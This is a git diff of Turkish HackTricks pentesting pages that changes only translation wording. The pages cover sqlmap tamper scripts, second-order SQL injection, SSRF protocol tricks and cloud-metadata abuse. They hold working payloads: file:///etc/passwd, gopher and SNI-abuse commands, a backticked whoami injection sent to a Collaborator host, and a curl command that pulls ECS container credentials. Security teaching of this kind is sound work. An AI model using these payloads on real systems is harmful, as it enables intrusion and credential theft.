| charencode.py | Verilen payload'daki tüm karakterleri url-kodlar \(zaten kodlanmış olanları işlememektedir\) |
|
||||
| charunicodeencode.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar \(zaten kodlanmış olanları işlememektedir\). "%u0022" |
|
||||
@ -134,30 +134,30 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| modsecurityversioned.py | Tam sorguyu versiyonlu yorum ile sarar |
|
||||
| modsecurityzeroversioned.py | Tam sorguyu sıfır versiyonlu yorum ile sarar |
|
||||
| multiplespaces.py | SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler |
|
||||
| nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir \(örneğin .replace\("SELECT", ""\)\) filtreler |
|
||||
| nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir \(örneğin .replace\("SELECT", ""\) filtreleri |
|
||||
| percentage.py | Her karakterin önüne bir yüzde işareti \('%'\) ekler |
|
||||
| overlongutf8.py | Verilen payload'daki tüm karakterleri dönüştürür \(zaten kodlanmış olanları işlememektedir\) |
|
||||
| randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir |
|
||||
| randomcomments.py | SQL anahtar kelimelerine rastgele yorumlar ekler |
|
||||
| securesphere.py | Özel olarak hazırlanmış bir dize ekler |
|
||||
| sp_password.py | Payload'un sonuna 'sp_password' ekler, DBMS günlüklerinden otomatik olarak gizlenmesini sağlar |
|
||||
| sp_password.py | Payload'un sonuna 'sp_password' ekler, DBMS günlüklerinden otomatik olarak gizlenmesi için |
|
||||
| space2comment.py | Boşluk karakterini \(' '\) yorumlarla değiştirir |
|
||||
| space2dash.py | Boşluk karakterini \(' '\) bir tire yorumu \('--'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler |
|
||||
| space2hash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler |
|
||||
| space2morehash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler |
|
||||
| space2mssqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2mssqlhash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler |
|
||||
| space2mysqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2mssqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2mssqlhash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler |
|
||||
| space2mysqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2mysqldash.py | Boşluk karakterini \(' '\) bir tire yorumu \('--'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler |
|
||||
| space2plus.py | Boşluk karakterini \(' '\) artı \('+'\) ile değiştirir |
|
||||
| space2randomblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2randomblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
|
||||
| symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir \(&& ve |
|
||||
| unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir |
|
||||
| unmagicquotes.py | Alıntı karakterini \('\) çok baytlı kombinasyon %bf%27 ile değiştirir, sonunda genel bir yorum ekler \(çalışması için\) |
|
||||
| unmagicquotes.py | Alıntı karakterini \('\) çok baytlı kombinasyon %bf%27 ile değiştirir, sonunda genel bir yorum ile \(çalışması için\) |
|
||||
| uppercase.py | Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir |
|
||||
| varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
|
||||
| varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
|
||||
| versionedkeywords.py | Her işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
|
||||
| versionedmorekeywords.py | Her anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
|
||||
| xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
|
||||
| xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,7 +1,8 @@
|
||||
# SQLMap - Hızlı Referans
|
||||
# SQLMap - Cheatsheet
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## SQLmap için Temel Argümanlar
|
||||
|
||||
### Genel
|
||||
@ -141,9 +142,9 @@ Unutmayın ki **kendi tamper'ınızı python ile oluşturabilirsiniz** ve bu ço
|
||||
| ---------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Apostrof karakterini UTF-8 tam genişlik karşılığı ile değiştirir |
|
||||
| apostrophenullencode.py | Apostrof karakterini yasadışı çift unicode karşılığı ile değiştirir |
|
||||
| appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler |
|
||||
| appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler |
|
||||
| base64encode.py | Verilen payload'daki tüm karakterleri Base64 ile kodlar |
|
||||
| between.py | '>' operatörünü 'NOT BETWEEN 0 AND #' ile değiştirir |
|
||||
| between.py | '>' operatörünü 'NOT BETWEEN 0 AND #' ile değiştirir |
|
||||
| bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında '=' karakterini LIKE operatörü ile değiştirir |
|
||||
| chardoubleencode.py | Verilen payload'daki tüm karakterleri çift url-encode eder (zaten kodlanmış olanları işlemez) |
|
||||
| commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir |
|
||||
@ -153,7 +154,7 @@ Unutmayın ki **kendi tamper'ınızı python ile oluşturabilirsiniz** ve bu ço
|
||||
| charunicodeencode.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlemez). "%u0022" |
|
||||
| charunicodeescape.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlemez). "\u0022" |
|
||||
| equaltolike.py | Eşit ('=') operatörünün tüm örneklerini 'LIKE' operatörü ile değiştirir |
|
||||
| escapequotes.py | Alıntı işaretlerini (' ve ") kaçış karakteri ile kaçırır |
|
||||
| escapequotes.py | Alıntı işaretlerini (' ve ") ters eğik çizgi ile kaçırır |
|
||||
| greatest.py | '>' operatörünü 'GREATEST' karşılığı ile değiştirir |
|
||||
| halfversionedmorekeywords.py | Her anahtar kelimenin önüne versiyonlu MySQL yorumu ekler |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir |
|
||||
@ -166,7 +167,7 @@ Unutmayın ki **kendi tamper'ınızı python ile oluşturabilirsiniz** ve bu ço
|
||||
| randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir |
|
||||
| randomcomments.py | SQL anahtar kelimelerine rastgele yorumlar ekler |
|
||||
| securesphere.py | Özel olarak hazırlanmış bir dize ekler |
|
||||
| sp_password.py | Payload'un sonuna 'sp_password' ekler, DBMS günlüklerinden otomatik olarak gizlenmesi için |
|
||||
| sp_password.py | Payload'un sonuna 'sp_password' ekler, DBMS günlüklerinden otomatik olarak gizlenmek için |
|
||||
| space2comment.py | Boşluk karakterini (' ') yorumlarla değiştirir |
|
||||
| space2dash.py | Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
|
||||
| space2hash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
|
||||
|
||||
@ -1,12 +1,12 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**SQLMap İkinci Derece SQL'leri Sömürebilir.**\
|
||||
Şunları sağlamanız gerekir:
|
||||
Şunları sağlamanız gerekiyor:
|
||||
|
||||
- **sqlinjection yükünün** kaydedileceği **istek**
|
||||
- **yükün** **çalıştırılacağı** **istek**
|
||||
- **SQL enjeksiyon yükünün** kaydedileceği **istek**
|
||||
- **Yükün** **çalıştırılacağı** **istek**
|
||||
|
||||
SQL enjeksiyon yükünün kaydedildiği istek, **sqlmap'teki diğer enjeksiyonlarda olduğu gibi belirtilir**. SQLMap'in enjeksiyonun çıktısını/çalıştırılmasını okuyabileceği istek, `--second-url` veya bir dosyadan tam bir isteği belirtmeniz gerekiyorsa `--second-req` ile belirtilebilir.
|
||||
SQL enjeksiyon yükünün kaydedildiği istek, **sqlmap'teki diğer enjeksiyonlarda olduğu gibi belirtilir**. SQLMap'in enjeksiyonun **çıktısını/çalıştırılmasını okuyabileceği** istek `--second-url` ile veya bir dosyadan tam bir isteği belirtmeniz gerekiyorsa `--second-req` ile belirtilebilir.
|
||||
|
||||
**Basit ikinci derece örneği:**
|
||||
```bash
|
||||
@ -16,9 +16,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
|
||||
#Get the SQL payload execution sending a custom request from a file
|
||||
sqlmap -r login.txt -p username --second-req details.txt
|
||||
```
|
||||
Birçok durumda **bu yeterli olmayacaktır** çünkü **yükü göndermenin** yanı sıra farklı bir sayfaya erişmek için **başka eylemler gerçekleştirmeniz** gerekecektir.
|
||||
Birçok durumda **bu yeterli olmayacaktır** çünkü **payload'u göndermenin** yanı sıra farklı bir sayfaya erişmek için **başka eylemler gerçekleştirmeniz** gerekecektir.
|
||||
|
||||
Bunun gerektiği durumlarda bir **sqlmap tamper** kullanabilirsiniz. Örneğin, aşağıdaki script yeni bir kullanıcıyı **sqlmap yükünü e-posta olarak kullanarak** kaydedecek ve çıkış yapacaktır.
|
||||
Bunun gerektiği durumlarda bir **sqlmap tamper** kullanabilirsiniz. Örneğin, aşağıdaki script yeni bir kullanıcıyı **sqlmap payload'unu e-posta olarak kullanarak** kaydedecek ve çıkış yapacaktır.
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
|
||||
@ -46,7 +46,7 @@ headers = kwargs.get("headers", {})
|
||||
login_account(payload)
|
||||
return payload
|
||||
```
|
||||
Bir **SQLMap tamper, bir yük ile bir enjeksiyon denemesi başlatılmadan önce her zaman çalıştırılır** **ve bir yük döndürmesi gerekir**. Bu durumda yük ile ilgilenmiyoruz ama bazı istekler göndermeye önem veriyoruz, bu yüzden yük değiştirilmez.
|
||||
Bir **SQLMap tamper, bir yük ile bir enjeksiyon denemesi başlatılmadan önce her zaman çalıştırılır** **ve bir yük döndürmesi gerekir**. Bu durumda yük ile ilgilenmiyoruz ama bazı istekler göndermeye odaklanıyoruz, bu yüzden yük değiştirilmez.
|
||||
|
||||
Bu nedenle, ikinci dereceden SQL enjeksiyonunu istismar etmek için daha karmaşık bir akışa ihtiyacımız varsa:
|
||||
|
||||
|
||||
@ -6,9 +6,9 @@
|
||||
|
||||
Bir **Sunucu Tarafı İstek Sahteciliği (SSRF)** açığı, bir saldırganın **sunucu tarafı uygulamasını** kendi seçtiği bir alan adına **HTTP istekleri** yapması için manipüle etmesi durumunda meydana gelir. Bu açık, sunucuyu saldırgan tarafından yönlendirilen keyfi dış isteklere maruz bırakır.
|
||||
|
||||
## SSRF'yi Yakalama
|
||||
## SSRF'yi Yakala
|
||||
|
||||
Yapmanız gereken ilk şey, sizin tarafınızdan oluşturulan bir SSRF etkileşimini yakalamaktır. Bir HTTP veya DNS etkileşimini yakalamak için aşağıdaki araçları kullanabilirsiniz:
|
||||
Yapmanız gereken ilk şey, sizin tarafınızdan üretilen bir SSRF etkileşimini yakalamaktır. Bir HTTP veya DNS etkileşimini yakalamak için şu araçları kullanabilirsiniz:
|
||||
|
||||
- **Burp Collaborator**
|
||||
- [**pingb**](http://pingb.in)
|
||||
@ -22,7 +22,7 @@ Yapmanız gereken ilk şey, sizin tarafınızdan oluşturulan bir SSRF etkileşi
|
||||
|
||||
## Beyaz Liste Alanları Aşma
|
||||
|
||||
Genellikle SSRF'nin yalnızca **belirli beyaz listeye alınmış alanlarda** veya URL'lerde çalıştığını göreceksiniz. Aşağıdaki sayfada **bu beyaz listeyi aşmak için denemek üzere tekniklerin bir derlemesini** bulabilirsiniz:
|
||||
Genellikle SSRF'nin yalnızca **belirli beyaz listeye alınmış alanlarda** veya URL'lerde çalıştığını göreceksiniz. Aşağıdaki sayfada, **bu beyaz listeyi aşmak için denemek üzere tekniklerin bir derlemesini** bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
url-format-bypass.md
|
||||
@ -38,9 +38,9 @@ Daha fazla bilgi için burayı okuyun: [https://portswigger.net/web-security/ssr
|
||||
- **file://**
|
||||
- URL şeması `file://` referans alınarak, doğrudan `/etc/passwd`'a işaret eder: `file:///etc/passwd`
|
||||
- **dict://**
|
||||
- DICT URL şemasının, DICT protokolü aracılığıyla tanımlara veya kelime listelerine erişim için kullanıldığı belirtilmiştir. Verilen bir örnek, belirli bir kelime, veritabanı ve giriş numarasını hedef alan bir URL'nin nasıl oluşturulduğunu göstermektedir; ayrıca bir PHP scriptinin, saldırgan tarafından sağlanan kimlik bilgileriyle bir DICT sunucusuna bağlanmak için potansiyel olarak nasıl kötüye kullanılabileceği de belirtilmiştir: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- DICT URL şemasının, DICT protokolü aracılığıyla tanımlara veya kelime listelerine erişim için kullanıldığı belirtilmiştir. Verilen bir örnek, belirli bir kelime, veritabanı ve giriş numarasını hedef alan bir URL'nin nasıl oluşturulduğunu göstermektedir; ayrıca bir PHP scriptinin, saldırgan tarafından sağlanan kimlik bilgileri ile bir DICT sunucusuna bağlanmak için potansiyel olarak nasıl kötüye kullanılabileceği de belirtilmiştir: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- **SFTP://**
|
||||
- Güvenli kabuk üzerinden güvenli dosya transferi için bir protokol olarak tanımlanmıştır; bir PHP scriptinin kötü niyetli bir SFTP sunucusuna bağlanmak için nasıl istismar edilebileceğini gösteren bir örnek verilmiştir: `url=sftp://generic.com:11111/`
|
||||
- Güvenli kabuk üzerinden güvenli dosya transferi için bir protokol olarak tanımlanmıştır; bir örnek, bir PHP scriptinin kötü niyetli bir SFTP sunucusuna bağlanmak için nasıl istismar edilebileceğini göstermektedir: `url=sftp://generic.com:11111/`
|
||||
- **TFTP://**
|
||||
- UDP üzerinden çalışan Trivial File Transfer Protocol, bir TFTP sunucusuna istek göndermek için tasarlanmış bir PHP scripti ile birlikte belirtilmiştir. 'generic.com' adresine '12346' portu üzerinden 'TESTUDPPACKET' dosyası için bir TFTP isteği yapılmaktadır: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
- **LDAP://**
|
||||
@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
||||
4. connect
|
||||
```
|
||||
- **Curl URL globbing - WAF atlatma**
|
||||
- Eğer SSRF **curl** ile çalıştırılıyorsa, WAF'ları atlatmak için faydalı olabilecek [**URL globbing**](https://everything.curl.dev/cmdline/globbing) adında bir özelliği vardır. Örneğin bu [**yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) `file` protokolü aracılığıyla bir **path traversal** örneğini bulabilirsiniz:
|
||||
- Eğer SSRF **curl** ile çalıştırılıyorsa, WAF'ları atlatmak için faydalı olabilecek [**URL globbing**](https://everything.curl.dev/cmdline/globbing) adlı bir özelliği vardır. Örneğin bu [**yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) `file` protokolü aracılığıyla bir **path traversal** örneğini bulabilirsiniz:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
@ -64,7 +64,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
|
||||
### Gopher://
|
||||
|
||||
Bu protokolü kullanarak sunucunun **göndermesini** istediğiniz **IP, port ve baytları** belirtebilirsiniz. Ardından, temelde bir SSRF'yi **herhangi bir TCP sunucusuyla iletişim kurmak için** istismar edebilirsiniz (ancak önce hizmetle nasıl iletişim kuracağınızı bilmeniz gerekir).\
|
||||
Bu protokolü kullanarak sunucunun **göndermesini** istediğiniz **IP, port ve baytları** belirtebilirsiniz. Ardından, temelde bir SSRF'yi kullanarak **herhangi bir TCP sunucusuyla iletişim kurabilirsiniz** (ancak önce hizmetle nasıl iletişim kuracağınızı bilmeniz gerekir).\
|
||||
Neyse ki, birkaç hizmet için payload'lar oluşturmak üzere [Gopherus](https://github.com/tarunkant/Gopherus) kullanabilirsiniz. Ayrıca, _Java RMI_ hizmetleri için _gopher_ payload'ları oluşturmak üzere [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) kullanılabilir.
|
||||
|
||||
**Gopher smtp**
|
||||
@ -121,7 +121,7 @@ ssl_preread on;
|
||||
}
|
||||
}
|
||||
```
|
||||
Bu yapılandırmada, Server Name Indication (SNI) alanındaki değer doğrudan arka ucun adresi olarak kullanılmaktadır. Bu ayar, SNI alanında istenen IP adresini veya alan adını belirterek istismar edilebilecek bir Server-Side Request Forgery (SSRF) açığına maruz bırakır. Aşağıda, `internal.host.com` gibi keyfi bir arka uca bağlantıyı zorlamak için `openssl` komutunun bir istismar örneği verilmiştir:
|
||||
Bu yapılandırmada, Server Name Indication (SNI) alanındaki değer doğrudan arka ucun adresi olarak kullanılmaktadır. Bu ayar, SNI alanında istenen IP adresini veya alan adını belirterek istismar edilebilecek bir Server-Side Request Forgery (SSRF) açığına maruz kalmaktadır. Aşağıda, `internal.host.com` gibi keyfi bir arka uca bağlantıyı zorlamak için `openssl` komutunun bir istismar örneği verilmiştir:
|
||||
```bash
|
||||
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
```
|
||||
@ -129,11 +129,11 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
|
||||
## Komut Enjeksiyonu ile SSRF
|
||||
|
||||
Aşağıdaki gibi bir yük denemeye değer olabilir: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||
Aşağıdaki gibi bir payload denemeye değer olabilir: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||
|
||||
## PDF'lerin İşlenmesi
|
||||
|
||||
Eğer web sayfası sağladığınız bazı bilgilerle otomatik olarak bir PDF oluşturuyorsa, **PDF oluşturucu tarafından (sunucu) PDF oluşturulurken çalıştırılacak bazı JS'ler ekleyebilirsiniz** ve SSRF'yi kötüye kullanabilirsiniz. [**Daha fazla bilgi burada**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
Eğer web sayfası sağladığınız bazı bilgilerle otomatik olarak bir PDF oluşturuyorsa, **PDF oluşturucu tarafından (sunucu) PDF oluşturulurken çalıştırılacak bazı JS'ler ekleyebilirsiniz** ve SSRF'yi kötüye kullanabilirsiniz. [**Daha fazla bilgi burada bulunabilir**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## SSRF'den DoS'a
|
||||
|
||||
@ -245,7 +245,7 @@ var_dump($response);
|
||||
```
|
||||
</details>
|
||||
|
||||
PHP, URL'nun yolundaki **slash'tan önce `*` karakterinin** kullanılmasına izin verir, ancak yalnızca kök yol `/` için kullanılabileceği ve ilk slash'tan önce nokta `.` kullanılmasına izin verilmediği gibi başka sınırlamaları da vardır, bu nedenle örneğin noktasız-hex kodlu bir IP adresi kullanmak gereklidir:
|
||||
PHP, URL'nun yolundaki **slash'tan önce `*` karakterinin** kullanılmasına izin verir, ancak yalnızca kök yol adı `/` için kullanılabileceği ve ilk slash'tan önce nokta `.` kullanılmasına izin verilmediği gibi diğer sınırlamaları da vardır, bu nedenle örneğin noktasız-hex kodlu bir IP adresi kullanmak gereklidir:
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
@ -253,7 +253,7 @@ Connection: close
|
||||
```
|
||||
## DNS Rebidding CORS/SOP atlatma
|
||||
|
||||
Eğer **CORS/SOP** nedeniyle **yerel bir IP'den içerik sızdırma** ile ilgili **sorunlar** yaşıyorsanız, **DNS Rebidding** bu sınırlamayı aşmak için kullanılabilir:
|
||||
Eğer **CORS/SOP** nedeniyle **yerel bir IP'den içerik sızdırma** ile **sorunlar** yaşıyorsanız, **DNS Rebidding** bu sınırlamayı aşmak için kullanılabilir:
|
||||
|
||||
{{#ref}}
|
||||
../cors-bypass.md
|
||||
@ -278,9 +278,9 @@ Saldırı:
|
||||
1. Kullanıcı/bota **saldırganın** kontrolündeki bir **alan adına** **erişim** istemesini söyleyin.
|
||||
2. **DNS**'nin **TTL**'si **0** saniye (bu nedenle kurban, alan adının IP'sini yakında tekrar kontrol edecek)
|
||||
3. Kurban ile saldırganın alanı arasında bir **TLS bağlantısı** oluşturulur. Saldırgan **yükü** **Oturum ID'si veya Oturum Bileti** içine yerleştirir.
|
||||
4. **Alan**, **kendisine** karşı **sonsuz bir yönlendirme döngüsü** başlatır. Bunun amacı, kullanıcı/botun alan adına erişmesini sağlamak ve tekrar bir **DNS isteği** gerçekleştirmesidir.
|
||||
4. **Alan**, **kendisine** karşı **sonsuz bir yönlendirme döngüsü** başlatır. Bunun amacı, kullanıcı/botun alan adına erişmesini sağlamak ve alanın **tekrar** bir **DNS isteği** yapmasını sağlamaktır.
|
||||
5. DNS isteğinde artık bir **özel IP** adresi verilir (örneğin 127.0.0.1)
|
||||
6. Kullanıcı/bot **TLS bağlantısını yeniden kurmaya** çalışacak ve bunu yapmak için **Oturum** ID'sini/Bileti ID'sini **gönderecektir** (burada **saldırganın yükü** bulunuyordu). Böylece, **kullanıcı/botun kendisini saldırıya uğratmasını** sağlamış oldunuz.
|
||||
6. Kullanıcı/bot **TLS bağlantısını yeniden kurmaya** çalışacak ve bunu yapmak için **Oturum** ID'sini/Bileti ID'sini **gönderecektir** (saldırganın **yükü** burada bulunuyordu). Böylece tebrikler, **kullanıcı/botu kendine saldırmaya** ikna ettiniz.
|
||||
|
||||
Bu saldırı sırasında, localhost:11211 (_memcache_)'e saldırmak istiyorsanız, kurbanın başlangıç bağlantısını www.attacker.com:11211 ile kurmasını sağlamanız gerektiğini unutmayın ( **port her zaman aynı olmalıdır**).\
|
||||
Bu saldırıyı **gerçekleştirmek için aracı kullanabilirsiniz**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
@ -292,7 +292,7 @@ Kör bir SSRF ile kör olmayan bir SSRF arasındaki fark, kör olanın SSRF iste
|
||||
|
||||
### Zaman tabanlı SSRF
|
||||
|
||||
Sunucudan gelen yanıtların **zamanını kontrol ederek**, bir kaynağın var olup olmadığını **bilmek mümkün olabilir** (belki mevcut bir kaynağa erişmek, var olmayan bir kaynağa erişmekten daha fazla zaman alır).
|
||||
Sunucudan gelen yanıtların **zamanını kontrol ederek**, bir kaynağın var olup olmadığını **bilmek mümkün olabilir** (belki mevcut bir kaynağa erişmek, var olmayan bir kaynağa erişmekten daha fazla zaman alır)
|
||||
|
||||
## Cloud SSRF İstismarı
|
||||
|
||||
@ -302,7 +302,7 @@ Bir bulut ortamında çalışan bir makinede bir SSRF zafiyeti bulursanız, bulu
|
||||
cloud-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
## SSRF Zafiyetine Sahip Platformlar
|
||||
## SSRF Zafiyetli Platformlar
|
||||
|
||||
Birçok bilinen platform, SSRF zafiyetleri içermektedir veya içermiştir, bunları kontrol edin:
|
||||
|
||||
@ -314,7 +314,7 @@ ssrf-vulnerable-platforms.md
|
||||
|
||||
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
|
||||
|
||||
SSRF zafiyetlerini tespit etmek ve istismar etmek için bir araçtır.
|
||||
SSRF zafiyetlerini tespit etmek ve istismar etmek için bir araç
|
||||
|
||||
### [Gopherus](https://github.com/tarunkant/Gopherus)
|
||||
|
||||
@ -337,7 +337,7 @@ _remote-method-guesser_, en yaygın _Java RMI_ zafiyetleri için saldırı işle
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
|
||||
|
||||
SSRF Proxy, Sunucu Tarafı İstek Sahteciliğine (SSRF) karşı savunmasız HTTP sunucuları üzerinden istemci HTTP trafiğini tünellemek için tasarlanmış çok iş parçacıklı bir HTTP proxy sunucusudur.
|
||||
SSRF Proxy, istemci HTTP trafiğini Server-Side Request Forgery (SSRF) zafiyetine sahip HTTP sunucuları üzerinden tünellemek için tasarlanmış çok iş parçacıklı bir HTTP proxy sunucusudur.
|
||||
|
||||
### Pratik yapmak için
|
||||
|
||||
|
||||
@ -88,17 +88,16 @@ aws_access_key_id = ASIA6GG71[...]
|
||||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
Dikkat edin **aws_session_token**, bu profilin çalışması için vazgeçilmezdir.
|
||||
**aws_session_token**'a dikkat edin, bu profilin çalışması için vazgeçilmezdir.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) keşfedilen kimlik bilgileri ile ayrıcalıklarınızı öğrenmek ve ayrıcalıkları yükseltmeye çalışmak için kullanılabilir.
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) keşfedilen kimlik bilgileri ile ayrıcalıklarınızı öğrenmek ve ayrıcalıkları artırmaya çalışmak için kullanılabilir.
|
||||
|
||||
### AWS ECS (Konteyner Servisi) kimlik bilgilerinde SSRF
|
||||
### AWS ECS (Konteyner Servisi) kimlik bilgileri üzerindeki SSRF
|
||||
|
||||
**ECS**, kendi küme yönetim altyapınızı ölçeklendirmeden bir uygulama çalıştırabileceğiniz EC2 örneklerinin mantıksal bir grubudur çünkü ECS bunu sizin için yönetir. **ECS**'de çalışan bir hizmeti ele geçirmeyi başarırsanız, **metadata uç noktaları değişir**.
|
||||
|
||||
_**http://169.254.170.2/v2/credentials/\<GUID>**_ adresine erişirseniz, ECS makinesinin kimlik bilgilerini bulacaksınız. Ancak önce **\<GUID>**'yi bulmanız gerekiyor. \<GUID>’yi bulmak için makine içindeki **environ** değişkeni **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**'yi okumanız gerekiyor.\
|
||||
Bunu `file:///proc/self/environ` üzerinde bir **Path Traversal** istismarı ile okuyabilirsiniz.\
|
||||
Bahsedilen http adresi size **AccessKey, SecretKey ve token**'ı vermelidir.
|
||||
Bunu `file:///proc/self/environ` üzerinde bir **Path Traversal** istism
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
@ -232,7 +231,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
```
|
||||
> [!CAUTION]
|
||||
